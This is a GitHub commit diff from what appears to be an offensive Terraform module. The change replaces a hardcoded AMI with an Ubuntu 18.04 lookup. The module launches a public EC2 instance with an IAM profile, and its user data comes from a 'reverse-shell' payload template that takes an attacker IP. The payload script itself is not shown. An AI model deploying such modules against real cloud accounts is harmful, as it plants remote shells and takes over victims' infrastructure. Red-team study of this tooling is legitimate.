File tree Expand file tree Collapse file tree 2 files changed +33
-24
lines changed Expand file tree Collapse file tree 2 files changed +33
-24
lines changed Original file line number Diff line number Diff line change 1+ data "aws_ami" "ubuntu" {
2+ most_recent = true
3+ owners = [" 099720109477" ]
4+
5+ filter {
6+ name = " name"
7+ values = [" ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*" ]
8+ }
9+ }
Original file line number Diff line number Diff line change 1- terraform {
2- required_version = " >= 0.12"
3- }
4-
5- resource "aws_instance" "this" {
6- ami = " ami-06b263d6ceff0b3dd "
7- instance_type = " t2.micro"
8- subnet_id = var. subnet_id
9- iam_instance_profile = var. iam_instance_profile
10- user_data = data. template_file . user_data . rendered
11- associate_public_ip_address = true
12-
13- tags = {
14- CreatedBy = " Offensive Terraform"
15- }
16- }
17-
18- data "template_file" "user_data" {
19- template = file (" .terraform/modules/ec2-instance-reverse-shell/payload.sh" )
20-
21- vars = {
22- attacker_ip = var.attacker_ip
23- }
24- }
1+ terraform {
2+ required_version = " >= 0.12"
3+ }
4+
5+ resource "aws_instance" "this" {
6+ ami = data . aws_ami . ubuntu . id
7+ instance_type = " t2.micro"
8+ subnet_id = var. subnet_id
9+ iam_instance_profile = var. iam_instance_profile
10+ user_data = data. template_file . user_data . rendered
11+ associate_public_ip_address = true
12+
13+ tags = {
14+ CreatedBy = " Offensive Terraform"
15+ }
16+ }
17+
18+ data "template_file" "user_data" {
19+ template = file (" .terraform/modules/ec2-instance-reverse-shell/payload.sh" )
20+
21+ vars = {
22+ attacker_ip = var.attacker_ip
23+ }
24+ }
You can’t perform that action at this time.
0 commit comments